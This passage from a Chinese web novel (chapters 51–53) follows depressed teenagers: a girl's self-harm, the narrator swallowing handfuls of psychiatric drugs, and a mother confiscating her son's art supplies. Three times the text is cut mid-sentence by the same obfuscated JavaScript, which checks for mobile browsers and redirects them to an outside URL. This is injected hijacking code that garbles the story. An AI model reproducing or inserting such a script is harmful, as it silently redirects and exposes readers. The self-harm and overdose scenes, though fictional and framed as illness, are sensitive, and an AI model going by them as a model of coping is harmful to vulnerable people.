“然后……”孙临潼顿了一顿，低头盯着球鞋上溅的沟渠水，忽然降低音量，“她有伤，流血了，不知道谁弄的，问她什么都不答应。我就问她家在哪，她就说了什么什么152号，我想这里就一个152号啊。就让管家送我到这了——喏，我家车还等我呢。” “你怎么知道房号的？” “一家一家问呗。” “你对她……”齐怀生阴阳怪气道，“挺好的啊。” 孙临潼心眼大过天，顿时耳根子都红了：“嗐……这不是，她温柔漂亮嘛。追她的大把呢，我只是其中最帅的一个。” “……哦” “对了哥，刚才我就想提醒你了。”他指着齐怀生的帆布鞋。 齐怀生疑惑看他。 “你穿错鞋了吧？把要扔掉的鞋穿出来了。” 齐怀生一路不再和他说话。 昏暗的灯光笼罩整个空间，墙上的时钟滴答走着。 从进屋起叶知就没有说过话。 她浑身弥漫着某种陈向然十分熟悉的气息，像压城的黑云、暴风雨下的浓雾。 像封闭的牢笼。 陈向然试图碰她，她躲开了。阿送跳上长椅，在她腿边蜷缩睡去，她没有拒绝。 仿佛在说，她已经不相信任何人，只信一只不会说话的、无忧无虑的动物。 它的毛发软丝丝的，起伏流动，叶知似乎在爱抚它。陈向然细细一看，才发现她正翻出手臂内侧，不自觉在阿送身上蹭擦。 在它的背上、耳后、眼睛下，留下波状的、齿状的、旋涡状的……像某种残损的艺术般，可怖的血纹。 51. 自伤 夜市喧哗，熏风纵穿长街。 回去的路上，孙临潼什么话都有，从学校的非人制度到叶知的知书达礼，再到他们化学补习小组的结伴生活。刻意跟他拉关系似的。齐怀生听得烦，忍不住挖了挖耳朵。 这大少爷比方才更讨厌了。他想。 终于到152号的牌子前，齐怀生解放了一样，冲他手一扬，看都不看一眼：“走了，再会。”身后并没有回应。 巷子昏暗，烟头的火星子就格外明亮。 头顶电线横七竖八捆住了天空。齐怀生呼了口烟，一滴水落在头顶上。不必仰头，他猜得到是谁家刚晾了衣服。这家人声称买不起洗衣机，搓衣板的声音天天在这四方天井里回荡。洗完拧不干，挂在窗外电线上。 路过巷子，仿佛淋了场小雨。 到了楼下，他抬头望着灯火微亮的那户，陈向然和叶知就在屋里。 低头，歪歪扭扭的鞋尖泡在小水坑里，水面微澜。映出他一只眼睛。一簇烟灰落下，打碎了倒影。 他脑海里交替闪过塘泽的家人、深夜杵在河边的叶知，还有精神在黑洞边缘徘徊的陈向然……交叉着孙临潼方才的话。 “蹭”一下，黑暗里亮起一枚孤立的火光。 手里半包红双喜，他打算抽完了再回家。 光影殷红，客厅弥漫着稠腻的血腥气。 阿送仿佛有灵，感知到威胁的气息，身躯低伏，短腿匆匆奔跑，离开那只渗血的手，躲进椅子下，毛发簌簌颤抖。 陈向然目不转睛地注视被阿送拖出的一滩血，那鲜红有种致命的吸引。他从未见过这么多红色，即便在画纸上，他也从没这样使用过红色。 红色是锋利的、毁灭的、生命的色彩。 曾经他和齐怀生玩闹，滚倒在废铁厂附近的河边，手、腿、头上擦满细微的伤口。他感到一种难言的愉悦，仿佛重新体会到生命流动的感受。 原来就是他们说的自伤，一种错误的快感。 “阿送……”叶知喃喃呼唤。 陈向然忽然醒来。 “发生什么事了？叶知？” 叶知仍像没看见他一样，盯着抛下她逃走的猫，快哭出来，不停喊着阿送阿送。猫咪见那红色的血手伸来，霎时毛发倒竖，从喉咙深处发出刺耳的“喵”声。 “叶知。”陈向然轻轻唤她，扶住她瘦柴般的双肩，“说话。发生什么了？你的手怎么回事？” 叶知懵着脸听完他一长串话。 她眼神空洞、乌黑，仿佛用黑漆漆的胶带将自己团团裹住了，沉入无声的、孤寂的水底。 “说过了……”她垂着长长的眼睫毛，毛尖上坠着一颗沉重的眼泪，“我说过了……” “什么？” “我说过了，没人听，没有人——” 陈向然听见开门声，齐怀生刚从外面回来。他探了探头，齐怀生身后无人，是一个人回来的。 他一定在外面站了很久，身上的烟味混杂了楼梯间垃圾堆的味道。他进门换鞋，脖子上夹着手机。 “对，叶知在我这……啊不，刚刚被同学送回来的，一会儿我送她回去……” “就上回和你们说的那群人，对，红色头发那个，街上拦她。她现在——” 他忽然不说话了。 叶知坐在地上，陈向然陪着她，用自己刚换上的衣服给她止血，血一片片凝固，衣服的布料就粘在上面。陈向然担心扯疼她，就没有动弹。 但是叶知自己，当着齐怀生的面撕开了伤口，眉头没皱一下。 陈向然听见电话听筒里的女声：“现在怎么了？” “噢……”齐怀生握紧手机，“受了点皮外伤，我给她处理完再送她回去……嗯嗯，回头再跟你们说。” 齐怀生给她伤口做了清洗。一条条整齐的划痕撕裂成口子，排列在手臂内侧。他洗得极其认真，眉眼鼻口都拧成仇恨的样子，此时脑海中或许放映着红毛那群人难看的死相。 他给叶知抹上碘酒，半推半带地拉着她出了门：“陈向然，你留下看家。我很快回来。” 他在客厅干坐，时间一分一秒走到九点。 阳台前那棵树上的蝉叫凄厉而可怖。他关上阳台门，打算睡了，睡前看一眼服药说明，拿出奥沙西泮、佐匹克隆等等几种催眠药物，混上几种抗抑郁、抗癫痫的药，成堆地扔进口中。 药物在身体里破碎，流入血液、大脑。他变得沉重、昏昏欲睡。精神药物多是这样的原理，催人沉睡，消解清醒时所有灰暗与痛苦，如同制造一场短暂的死亡。 他再一次做了噩梦。 也许是因为那只破碎的手，或者纯粹是因为开学了，排斥封闭的学校。那些身临其境的恐怖又将他裹住。 梦里他依然在望不尽的长坡上奔逃，世界无声旋转。他慢下来，前方骤然破开——熟悉的河流奔涌不息，枝叶低垂河面。月光映照一条纤细手臂，蜿蜒着细小刺目的血流。过路人的关心在耳边一闪而过，他听见黢黑的河涌在召唤他。 往前一步，有什么东西在催促他，只要再往前一步…… 惊醒时浑身冷汗涔涔，他坐起来，捂住飞快的心跳。 阳台水龙头“嘀嗒”落下一滴水。 他知道自己为什么会做这样的梦。 老式的水磨石地面上，花花绿绿的纹路上还留着那滩血，在昏黄的光下鲜明刺目。阿送在电视柜旁缩成毛球，毛发轻颤。 陈向然拎来水桶，打扫了客厅，给阿送擦去血迹。擦不干净，还留了些痕迹，看上去像在泥地里滚过。 抹布落入水桶，血色在水里氤氲如烟雾。狂风穿越深巷，在夜里嘶吼尖叫。 他蜷缩在地板上，缩进墙根阴影里。 阿送温热的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301970|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮毛贴在他的腿侧。齐怀生不在，他才体会到这个地段的房厝建筑多么凌乱，参差矗立，是光眷顾不到的地方。 梦魇还没散去，他双臂抱持，以此给自己一点温暖。头皮像有根尖锐的铆钉，随着越来越飞快的心跳，越来越汹涌的躯体化反应，在脑壳内钉入、钉入、钉入…… “咔嗒”一声，齐怀生回来了。 他急切地奔向门口。齐怀生鞋还没脱，就被抱住了。 “怎么了？”齐怀生揉揉他的头发。 “你别去打架。”陈向然央求他。 “那群畜牲，刚放出来就咬人。不收拾他们就翻天了。”齐怀生换了拖鞋，走了两步，盘在腰上的手臂才松开。他摸摸陈向然的脸，脸色明显比他出门前难看了不少，“怎么了？哪里难受？” 陈向然喃喃问：“她是不是去河边了？” “她和你说了？”齐怀生只是拉他进屋，轻轻地给他盖上被子。 她说了，说过一遍又一遍，只是没有人听见。 她说向日葵的热烈背后是悲凉，她手腕上血痂很厚，她在夏季里穿上红色长袖遮掩手臂，身上有河流的腐臭…… 她用那支刃口凝结血色的裁纸刀，割断胶带，粘好语文试卷上那个“143”…… 陈向然盯着天花板——被客厅的灯光切割成几何形状。闭上眼，他就听到那些弱小的呻.吟。 “叶知呢？” “回家了。” “她……”陈向然闭着眼，脱口而出，“没回家。” 客厅的老式时钟“嘀”、“嗒”走了两步。 “我想也是。” 齐怀生这句话说得极温柔，语气倏然变了。陈向然睁开眼看向他。 “孙临潼问她家在哪，她说152号。” 陈向然上次听到他这样的口气，是在塘泽那段时间。那个叫做长兴街夏檐巷152号的家里。很巧合地，跟齐怀生在石川的这个家同样的号牌。 “齐怀生。”陈向然握紧他的手，“你说过，不要再让这样的事情发生……” “你想说什么？” “带叶知去看医生。”陈向然从床上爬起来，“我上网查了，这是心理的感冒，可以治好的。”过一会他又重复，“可以好的。” 能好的，医生总如此说道。 哀风啸然，屋里的空气静可闻针。 齐怀生忽然感到自己的失败。 一个看不到父亲苦楚的儿子，看不到妹妹难过的哥哥。 “齐怀生，我不知道我们这样的人，是不是都会有那一天。如果——” “不会有那一天。”齐怀生握着他的手臂，抚摸上面指甲抠抓的痕迹，不知为什么，他总是可以给出笃定的答案，“不会有那一天。因为……我不会允许。陈向然，你们都得活着。无论你答不答应我，我绝不会让你走到那一步！” 52. 鸿门 叶知的生日宴并没有推迟，在开学前的某一个周日简单举办。那个隐秘的、血色的夜晚就那么过去了。无人了解那夜，一个女孩在死亡转角上的徘徊、无助。 陈向然心想，站在竞争顶端的学校究竟给他们带来什么？一张张青春的笑脸背后，藏了多少不为人知的绝望的时刻。 叶知没有请其他同学，于是在场的，只有陈向然是那个局外人。 三十几层的小区高楼，在新市区刚开发不久的地块。人烟车辆稀少，小区周边却配备齐全，医院、学校，都由一家公司建造。叶知家在二十五楼，一进门就是一个巨大的观赏鱼缸。客厅窗帘拉开，能看到海湾渔船星星点点的亮光。 姨父姨妈，表弟，齐怀生，齐越杰……进门时，陈向然逐一打过招呼，连保姆和她的儿子…… 他愣了一愣。 这个保姆似乎上了点淡妆，即便戴了口罩，眼睛依旧生得出色。端盘来去，身姿比这家的女主人还要优雅一些。她儿子更是精心打扮过的，那标志性的十字星链子，正是申恺。 老熟人面面相觑。申恺似乎不想看到他，目光冷冽，爱搭不理的。 “小叶请你的？”申恺边问边移开目光，抖着一条腿，“还是生哥请你的？” “都有。”齐怀生替他回答，“你呢？” “我？小叶请的。” “我不是说这个。” 齐怀生想说的是，蓉姨怎么到她们家做保姆了。问到不想说的话题，申恺兀自叼了根烟去阳台，顺手关上落地窗。 陈向然扫过这个忙碌张罗的家，七岁的表弟见到生人也不害怕，嘻嘻哈哈地冲他笑，抓他的衣服。手脚不知轻重，使劲拉扯。陈向然不敢用力拖拽他，只是被他扯着走。 倏然间，小表弟笑容消失。这小孩儿视线一挪，看见齐怀生那副被人欠了五百万的表情，脸都吓白了。 小手松开陈向然，一溜烟进屋里了。 陈向然的目光随着这熊孩子去，就看到玻璃架上，整齐排列各种颜色的药盒子、药瓶子、黑色塑料袋——陈向然猜袋子里或许是裁剪过的药片铝塑板。精神科医生为防止初诊患者过量服用，头几回只开适量的药片数量，因而药剂师有时需要裁剪板块，从药房窗口丢出一块歪歪扭扭的铝塑板。 那些药盒子、药瓶子都贴了白纸遮挡药名，没有外包装的药，更是用黑色塑料袋装起来了。 仿佛见不得人一样。 可陈向然太熟悉那些露出边边角角的标签，那白色是碳酸锂，那蓝白色是舍曲林，那绿白色是佐匹克隆……等等十来种药物。这种做法他也再清楚不过，将精神类药物藏进收纳盒、有色塑料袋里，不与其它药物放在一处。为了方便每日三次的饭前饭后服用，通常放在容易拿到、又不被客人瞧见的地方。 这是一种不可见光的病症，陈向然想。 他许在过往的某个时候，第一次在网络上得知抑郁症这个词的时候，对林岚说过：如果我得了抑郁症，你会怎么办？ 彼时林岚如见鬼神，就差把他的嘴封起来：这话可不能乱说的，得了精神病被人知道，你这辈子都完了。 “喏。”齐怀生的声音将他拉回神，面前伸来一张五颜六色的纸卡，“这张贺卡，我托学书法的人写的，但是落款咱们自己签。” “我也签？”陈向然接过这张书页大小的卡片，上面写了生日快乐、天天开心，右下角是龙飞凤舞的“生哥”两字，“不是说……我不送么？” “我们一起送，跟那套系列书一起，齐越杰买的。”他指向墙角一摞书，大约有四五本。 于是陈向然签上自己大名，顺带寥寥几笔，勾画了一只猫，添上阿送标志性的斑纹。 叶知正好从房间里出来，揉着眼睛，睡眼惺忪。 手上的疤痕只剩一点若隐若现的粉白色，近看还是不忍一睹，像趴了好几条蜈蚣。看了医生，服了药——或许家人也随之做出一些改变——苍白脸上终于有了一丝血色。她冲陈向然笑笑，便趴在落地窗上，海湾渔火倒映在眸中，乌黑的眼睛盈泛从未有过的光彩。 齐怀生脸上依旧没有表情，只眼尾微微垂下，是柔和的、放松的。看着他不那么沉重了，陈向然也感觉心情明朗不少。 “咚咚”，叶知敲敲玻璃，在阳台抽烟的申恺回头，立刻碾灭了烟。 他将落地窗开了条缝：“醒啦？” “恺哥……”她吞吞吐吐，回头瞄了几眼餐桌，挤出笑容，“我特意跟他们说，准备一道煎排骨，你喜欢的。” 申恺愣了片刻，夏夜风过，发梢微扬。 他一手扶着门框，一手戳进兜里，身后是渺远的天空，夜幕下灯火辉煌，霓虹灯、红绿灯、车灯斑斓闪烁。 “谢谢。”他说。 “你今天好生分啊，恺哥。进来坐吧，外面热。”叶知抓着他青筋和肌肉起伏的小臂，拉进屋里来。 餐桌是大理石造，和餐椅都是欧式雕纹。桌上有鲍鱼、海参、鳕鱼、法式鹅肝……姨妈说是托家里厨师的朋友做的，蓉姨也懂厨艺，给打了下手。小表弟刚坐上椅子就抱怨：“昨天才吃过啊。”他指着面前满满一碗鱼翅。 姨父来到桌边，摘掉看报纸时戴的金边眼镜：“你吃过，哥哥们没吃过啊，让他们也尝尝好东西。” “噢。”小表弟重重地点了下头，抓起勺子就吃起来。 陈向然望着满满一碗鱼翅，有些不悦。不只是因为这个男人言语间有意无意的傲慢。 他第一次吃鱼翅，是姥姥姥爷给做的，跟海边专门捕捞鲨鱼的渔民买的鱼鳍。老人家双手灵巧，煺沙、开刨、硫熏，加工作散翅，咕嘟嘟煮成一锅。细密柔软，似粉丝。那时还是职场新人的林岚回了老家。老人花几天时间，终于欢欢喜喜做了一锅，从厨房出来，女儿已经不告而别。 他吸吮一口鱼翅，味道很好，只是过于精美了，没有海边刚捕捞的那种自然的鲜。 齐怀生为叶知着想，有话都憋心里。齐越杰是不管的，驳斥的话像泥鳅一样从他嘴里滑出来：“住海边就吃得着，这是常识。”这话算客气了，客气得不像他作风。 姨父不慌不忙地叫蓉姨端来一个电磁炉，放上火锅。 齐越杰在江洲工作是应过酬的，什么山珍海味都见过。城府极深，看着也不像会嘴软的。陈向然不由得想今天这场生日宴究竟怎么提起，又怎么请来这些人，怎么办起来的。 姨妈说，这个生日宴原本是希望叶知请来一些同学开心开心的，但是她不愿请，那也随她开心。 陈向然想起吴自兴对她的冷眼，张依萌及其朋友对她有意无意的排挤，和其他人的陌生。他不难理解为什么叶知不邀请其他同学。 姨妈大概是为疗愈她的病。而齐怀生说，齐越杰是姨父主动说请的，不知葫芦里卖的什么药。 他隐隐感到，这是一场“鸿门宴”。 陈向然坐在桌子的边角处，这个角度能看到每个人的反应。 姨父和齐越杰正坐对面，聊聊世情，逐渐把话题扯到对方身上，推拉来去，相互试探。姨妈偶尔打打圆场，给叶知添菜，问她喜不喜欢这样。 叶知眉间舒展，眼睫低垂，浅笑着点点头。 “觉得吵也不用勉强。”姨妈又给她添一只鲍鱼。 “给弟弟吧。”叶知支着筷子，把鲍鱼往外推了推，“我吃过了。” “你吃，补身体。”姨妈拉低声量，陈向然还是隔着齐怀生听见了，“别让他看见，他都吃两个了。” “三个也不嫌多。”姨父说。 他声儿大，所有人都朝他掀眼。他往口中塞了口丸子，和所有人一一对视：“咋了？鲍鱼个儿小嘛，都吃啊。” 齐怀生如坐针毡。，一边和陈向然说几句话，一边又和蓉姨聊起来。问什么时候来做保姆的，蓉姨便说两月前，通过网络平台联系上的，因为看地址、工资都合适，就来了。 她说申恺常常不着家，没来得及告诉他。刚刚进门才碰上，到现在母子都没说一句话。 有了工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301971|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作，生活就有了轨迹可循，蓉姨的气色反倒更好了。以往浓妆艳抹，有种刻意的精致和犀利，此时她坐在申恺边上，变得眉目和善，平易近人。当一个人更柔软时，也意味着她更有力量了。 这是一个放下过往，重新开始生活的母亲。 可申恺本性敏感，母亲在心仪的女生家里做保姆，他这辈子的脸都丢在这儿了。 他低头吃鱼翅、鳕鱼。桌上都是好东西，他却食之无味一般，匆匆几口下肚。和齐怀生一样，恨不得吃完便走，不再登门。蓉姨伸出筷子撬动他下巴，要他抬起头来。下巴留下一线黏滋滋的油光。他躲开筷子，用手背“唰”一下抹去了油渍。 他一眼没看过叶知。哪怕叶知给他布菜，他也头都不抬，吃掉她夹来的煎排骨。 “小伙子，”姨父敲敲陈向然的碗，“新学期同班的啊？” “嗯，同班。”陈向然说。 “杨老师有没有给你们调座位啊？”姨父问。 家长会那天，陈向然缺考的“美名”传遍了全班同学家长。会议结束，那些滑铁卢来到十六班的家长都私下里请求杨姗，让自己的孩子和陈向然坐同桌。学生更甚，都说他是理重点下凡的神仙，试卷发完，周边呼啦涌来一堆人，把“然神”围在中央。第一名的叶知身边反倒空空荡荡。 人有时候就这样，比你强点儿的，不服气，总想着压他一头；比你强太多的，反而供起来，当“神”参拜。 陈向然摇摇头，说没有。 “那你学习上帮帮我们叶知，好吧？你妈妈告诉我，你学习上很乐于帮助其他同学的——吃饭就好好吃，看什么呢？”他夺过叶知手上的书。 是新书，方才只翻到目录，连序言都没翻开。封面是水乡，老房厝檐角高翘，几只篷船，几朵莲花，是一本小品文集。 “谁送的？”他嘴里问着，眼睛已经瞟向了齐越杰和齐怀生。 姨父是个做个体生意的，大老粗，一生以利为先，比任何人更加在意功利，对文学作品更是欣赏不来。曾一度觉得读书无用，如今意识到了“用处”，赶鸭子上架要叶知考上好学校。 好学校意味着好人脉，至少“人脉”可以为他带来更广阔的财路。 他翻动书本：“家长会我才搜到你好几本书。” 叶知猛地抬头，霎时花容失色。 “都交给杨老师了。”姨父说。 陈向然无暇同情他人，迅速回忆了一下自己的新座位。他因为晚回校，只拜托程希帮忙搬了一部分学习资料。 画具应该是不在新教室的。 “干什么呢？”姨妈不停给他使眼色，“看几本书怎么了？我们陶冶情操。” “什么情操？语文都到顶了，怎么不管管那物理化学？这次都不及格了。” 叶知攥着衣服的布料，攥得骨节突出。 “那我文科及格……为什么不让我去文科班？” 这时姨妈反倒站在姨父一边：“我们相信你成绩能上去的，没必要读文科。——好了好了今天高兴，别整些有的没的，吃菜吃菜。” 姨父正要再说些什么，桌上的手机响了。 他看了眼备注，像是调整状态一样，嘴角一抿，换了一副眼神：“喂，林女士啊。” 陈向然舀了一勺鲍鱼汤，汤里漂浮两段芹菜。 姨父面色一转：“哎？向然没和你说吗？我们家叶知生日，他现在在这呢。” 陈向然的汤勺顿在嘴边。 齐怀生注意到他神色有异，手紧紧地压在他大腿上。 “哎别，您不是在旁边裕景地产工作嘛，上来坐坐呗。正好聊一聊，孩子们都在这。向然成绩好，人缘也好，家长怎么教的，给传授点秘诀呗。”姨父哈哈笑道。 “哪儿啊，他那语文死活都上不去。光是缺考，态度就不对。” 林岚离开地下车库，站在小区绿化草坪上，仰头望着眼前直入云天的高楼大厦。 “叶先生，您这么热情，那我就打扰了啊。” 53. 剥夺 电话一挂，陈向然顿时饱了，不再动筷。 齐怀生领会了他的意思，站起来道：“不好意思我们先走。” “哎，小同学，你妈妈都要来了。再多坐会儿吧。”姨妈笑吟吟留他，“我们叶知成绩不好，还得跟你们多取取经。” 她说的所谓“成绩不好”，也至少能上个重本学校。叶知是个非常优秀的姑娘，陈向然一直这么认为。可是被否定得多了，她也成了学校里低头走路的那一拨人。 “对啊，坐下坐下，喝点饮料。”姨父附和。 齐怀生打开两扇红木大门。陈向然望望门外两部电梯——其中一部数字闪烁增长，即将到达二十五楼了。 他本想打个时间差，从另一部电梯下楼。这对夫妇一开口，他一时乱了阵脚。 依旧是齐怀生替他答：“他还有事，他妈妈知道的。”应付得游刃有余。 陈向然被推了一把，来到二号电梯前，他便知道躲不过了。 一号电梯门“叮”一声打开，林岚率先到了二十五楼。仍旧一身陈向然不喜欢的香水味，浓郁而令人晕眩，像是芬兰的进口品牌。 深夜，她刚刚下班，用很浓很浓的妆容掩饰沧桑和疲惫，棕黄色的烫染卷发里藏了几丝银白。她许是工作太累了，生不起气来，于是脸上满满的都是失望。 他又让人失望了。陈向然心想。 林岚只是问他：“去哪儿？” 某种程度上说，林岚真的懂他——或者说，她在大企业里摸爬滚打这么多年，太懂如何拿捏人心。 她只需要站在那儿，以一种审视的姿态注视他，淡淡地问出一针见血的问题，就足以摧毁一个少年精心筑起的精神壁垒。 陈向然说：“回家。”回齐怀生家。 “怎么想起要回家了？”她两手抱持在胸前，审问一般这么说出来，“暑假不是玩得挺好？电话都不接了。” 陈向然只觉得好笑。 他看过未接电话。他消失了那么多天，林岚只是七月末在微信里转发今年高考的情况，说英语和语文注意积累，理科拿分，数学今年难，记得做做真题。说在网上看到什么抢手的学习资料，给他买了寄到学校。八月才想起要给他打个电话。那时他全心全意地陪齐怀生，手机静音，根本无暇接谁的电话。 提问者和被提问者如此可笑地颠倒过来了，他一时竟不知说什么好。 “笑什么？先别回去，跟叶知同学好好聊聊，看看别人怎么学的语文。”林岚视线一错，盯上儿子身边这个穿着和站姿都很随意的人，她眉头微蹙，手指敲击手肘，浑身上下都表达着不屑，说话却很客气，“这是哪位同学啊？” 齐怀生的衣领旧得烂了边，脖子上挂着陈向然送给他的石锁项链。牛仔裤穿破了几个洞，他倒不在意，特意这么穿着。如此跟陈向然一身名牌站在一起，像是从哪个矿里回来的工人。 他一手推着陈向然后背，陈向然的手也放在他肩上——勾肩搭背又毫不协调的样子，林岚忍不住蹙眉。 齐怀生看看陈向然，又看看林岚，脑筋一转，说：“叶知她哥。” “噢……”林岚多瞅他几眼，沉默着转过头，摁响门铃。 门开了，小表弟的欢闹声倾泻而出。林岚和那对夫妇点头寒暄，相互夸奖对方的孩子。 两个家长之间的聊天往往限于相互透露学校信息，了解学习情况。但这么坐下来，在一个宽敞亮堂的客厅，茶具端上，工夫茶泡上，能聊的就多了。 “还不知道叶先生大名。”林岚轻抚裙摆坐在沙发上，“上回家长会走得匆忙了。” “叶近成。”他说，“哎，你家向然，本来可以进几个重点班的吧。” “谁知道他呢。一天天的，都不知道在学校搞什么。” 陈向然跟齐怀生窝在一张沙发上，低头玩着手指甲。 “孩子有点兴趣爱好，正常的嘛，不影响学习就好。” 叶近成对外婉转得像个斯文人，和一般家长一样，把严于律己宽以待人执行得是一丝不苟。跟他敞口的花衬衫和银拇戒一点不搭调。 齐怀生从眼角抛去一记极厌恶的眼刀。 林岚用两只贴了美甲装饰的手指，捏起一只茶杯，抿一口茶水。她喝茶时眼珠子悄悄转溜，打量这家里所有孩子。 她倾倒茶渣，两手覆在银灰色的皮包上：“你们家真是其乐融融，孩子多就是热闹。” “哪儿呢，就那小的闹腾。阿知不太说话。闷葫芦似的。我就说啊，这种性格真是不行。这么内向，以后公司、对象啥的，谁要她啊。” 叶知仿佛被什么东西刺穿，疼得一颤，缩进墙角去了。 陈向然看了她一眼，感到有什么坚硬的东西碰到腿侧——齐怀生攥得拳骨突出，硌在他腿上。陈向然想，换作平时，他大约就发作了。但今天林岚在这，他老老实实一言不发。 “女孩子嘛，内向有内向的好。长得也好看，跟她哥哥很像啊。这一家三个——” “两个。”叶近成指着齐怀生，“这个，不是我们家的。还有那个，那是蓉姨的儿子，两个是同学。” “噢，表哥啊，哎别说，兄妹长得真挺像的噢。” 家事不外扬。叶近成一个生意人，说话讲究散而不聚。别处的天侃侃而谈，自己的事只字不提。 于是两个城府深藏的成年人，最终只是互相吹嘘了一遍对方的孩子。 齐怀生是走得最快的那个，兀自乘了一班电梯，没有给任何人留门。齐越杰像是和叶近成十分默契，主动留在那家里。申恺母子和陈向然母子乘了同一班电梯，两个母亲没什么话，一直尴尬地坐了二十五层楼。 夜晚的新市区，霓虹闪烁，连绵一片灯海。高架桥交错盘旋，车流从头顶源源不断地驶过。马路边一辆摩托呼啸而去，掀起的风扬在陈向然脸上。 夜阑渐深，有些人一天的生活却才刚刚开始。城区这些年发展得这样热闹，陈向然却觉得眼下寂静，静得听见自己的心跳。 到地下停车场，车门前，林岚都没说过一句话。 他能想到这几天的林岚如何气急败坏，如何火急火燎地打他电话，最后打到严霖辉手机上，得知了四个原同班同学的名字，其中一个是叶知。 一个母亲需要通过一个萍水相逢之人找到自己的儿子，她最不能接受的就是这个，不能接受陈向然从自己身边消失，不可掌控——像她的丈夫一样。 “妈……” 陈向然正想开口为自己的失踪弥补些什么，一袋子物品凌空飞来，撞入他怀中。刚拆开，身上就糊了一片彩虹。抬手擦一把汗，脸上黑的黑，蓝的蓝。 他听见胸口一块巨石无限坠落。 停车场静得恐怖，世界扭曲晕眩。 “在宿舍藏这种东西？”林岚理所当然地指责他，“现在什么时候了？陈向然，你高二了！” 这片区域除了他们无人经过，这句话便被这封闭空旷的空间成倍地放大，变得刺耳。惹得机动车发出尖利的警叫。 调色盘、鬃毛笔、画布、画册、彩铅……除了画架，所有画具都在这了。去塘泽的日期定下来后，陈向然便把所有画具收进了宿舍床底——考虑到家长会的可能性，他是绝不敢放在教室的。 可没想到林岚会趁着学校开放日，跑到男生宿舍去。 他没说话，林岚便接着说：“还有，叶知家那两个男生，你认识的么？流里流气的。我看这个叶知也不是什么好学生，成绩也一般般，你向她学学语文就好，其他的少来往。高二尤其关键，别给我搞早恋那一套。” 什么弥补、歉疚、让步，通通灰飞烟灭。 自打从塘泽回来后，他就觉得心里有什么东西在生长，像变异的黑色藤蔓，迅速覆盖整个黑暗的山洞。 他用指甲掐破手心，血黏糊糊地攥在掌心里，才感到冷静一些。疼痛让他舒适，他甚至有点迷恋上这种感觉。 红艳艳的、汩汩的鲜血，暗暗在手里开花。 “那你怎么不来阻止我呢？”陈向然抱紧怀里的画具，似有若无地微笑，“我忘了，你连我人都找不到。” 林岚霎时怔住，然后她笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301972|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，气笑了。 她在笑，眼睛却渐渐泛红。她也感受到了，自己的儿子正被什么东西或什么人改变。一切都朝着不可控的方向奔去。 “陈向然，”她像是耐下心来，又刻意流露出她的不满意和高高在上，“妈妈知道，你从小到大都很乖的。我跟老师表扬你，说得最多的也是你听话、肯学。现在怎么回事？是，我找不到你人。那你告诉我，暑假去哪里了？” “我不想和你汇报……” “陈向然，我现在是在跟你好好说话——” “我不想和你汇报！”陈向然更坚定地重申。 今天他打算跟林岚划下一条界线，却发现这条界线早就发展成了沟壑。那个和自己血缘最深的人就在面前，她本应该是他的家。可是当他再回头，她已经遥远得看不清轮廓，不如那山那海更加亲近。不如这个暑假，他和齐怀生一起走过的地方。 这是不能让林岚闯入的，他在那个牢笼一样的学校之外，唯一能有一线喘息的私密空间。 林岚永远不会知道，如果不是齐怀生一身狼藉也要拖着他，他或许不是死了，就是疯了。这个世界是平静的，病症也是不可见的，不会因为少年们无可救药的挣扎而有一丝撼动。 藤蔓填满山洞，像克苏鲁密集的触手，突破压抑的力量，雾涌般不断膨胀。 “那行。”林岚点头。 “哗啦”一声，陈向然怀里一空。林岚趁他不备，夺走了他的画具。 “这些东西全部没收。以后你每一笔银行卡的支出都要和我报备。陈向然，你听见了没，别想再重新买画纸。你现在都敢缺考敢失踪了，下一步你是不是打算连高考都不要了？你听着……” 世界微微摇晃，他脑海里只剩下“咿咿”的长吟。 那些陪伴了他一个又一个孤独的日夜，让他阴暗的情绪有抒发之地的画具，被粗蛮地夺走了。林岚夺走自由、陪伴，又夺走了他最后的支柱。 摇摇欲坠的城墙终于轰然倒塌，破碎的砖瓦，淹没的海啸，像老家被推土机推倒的旧房屋，从此留下又一片无可复原的废墟。 “好。”内心山呼海啸之后，他听见自己平静地说，“你想怎样就怎样。” “还有，那种没什么用处的朋友，打打招呼就算了。要交就交理重点的。那个潘千慧不就挺好吗？每次都出现在年级前十。还有刘永凡，都同桌那么久了。这么多朋友，你还稀罕刚刚那几个？” 他除了齐怀生，又有什么真正朋友呢？ 在林岚眼里，连交朋友都要用“有用”和“无用”来衡量了。 “说完了吗？”陈向然朝后退了一步、两步……“说完我就走了，你还要加班吧？那就再见了。” 他掩饰内心的仓皇，在停车场里绕了好几个弯才来到出口。外面星月在天，车水马龙，红灯一闪一闪，变换绿灯，车灯绵延成金色长龙，拥挤着度过十字路口。 他打算打一辆车去县里，到齐怀生家楼下等他。 